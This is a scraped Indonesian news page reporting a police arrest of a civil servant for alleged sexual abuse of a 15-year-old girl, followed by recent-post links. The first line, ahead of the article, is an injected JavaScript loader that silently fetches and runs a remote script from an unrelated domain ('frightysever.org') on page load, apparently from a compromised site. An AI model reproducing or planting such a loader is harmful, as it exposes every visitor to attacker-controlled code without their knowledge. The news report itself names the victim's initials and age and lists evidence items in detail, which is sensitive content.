(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polres HST Tangkap Oknum PNS Pelaku Persetubuhan Anak Dibawah Umur


BARABAI, Polres Hulu Sungai Tengah (HST) mengamankan seorang Oknum Pegawai Negeri Sipil (PNS) yang diduga melakukan tindak pidana persetubuhan anak  sesuai dengan  pasal 81 Ayat (2) Undang – Undang Nomor 35 Tahun 2014 tentang perubahan Atas Undang-Undang No.23 tahun 2002 tentang Perlindungan Anak.

“Oknum PNS yang diduga melakukan tindak pidana tersebut berinisial RF (44) asal Barabai, Kabupaten HST. Sedangkan korbannya adalah seorang anak di bawah umur AS (15),” ujar Kapolres HST AKBP Sabana Atmojo SIK, MH.

Adapun barang bukti yang diamankan berupa 1 lembar baju kaos lengan panjang merk Ignite  warna abu-abu, 1 lembar celana leging merk Bebe warna hitam, 1 lembar celana dalam merk Ghanel warna biru, 1 lembar BH warna Kream, 1 (satu) buah mobil Toyota Avanza DA 1963 HB warna putih.

Kejadian bermula pada hari Jumat  (25/1) sekitar pukul 20.30 wita, saat anggota piket Satuan Samapta dan SPKT Polres HST melaksanakan patroli daerah rawan kejahatan dan menemukan sebuah mobil yang parkir dipinggir jalan Tol Desa Hulu Rasau Kecamatan Pandawan  Kabupaten HST. Ketika didekati, dicurigai melakukan persetubuhan dalam mobil dan di dalam mobil ditemukan cairan yang menyerupai sperma sehingga keduanya dibawa ke Polres.

Setelah diperiksa ternyata bukan suami istri dan malah wanitanya masih anak di bawah umur. Atas kejadian tersebut anggota langsung memberitahukan orang tua korban. Dan orang tua korban langsung menuju ke Mapolres HST karena merasa tidak terima kemudian melaporkan kejadian tersebut untuk diproses sesuai dengan hukum yang berlaku.

Kapolres HST AKBP Sabana Atmojo membenarkan atas kejadian tersebut dan akan memproses sesuai hukum yang berlaku. Serta menghimbau kepada masyarakat agar lebih waspada lagi dan menjaga anak perempuan nya sehingga kejadian serupa tidak terjadi lagi karena kejahatan terhadap anak sering terjadi dilakukan oleh orang dekat. (rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

5 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

5 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

6 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

7 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

7 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

11 jam ago

This website uses cookies.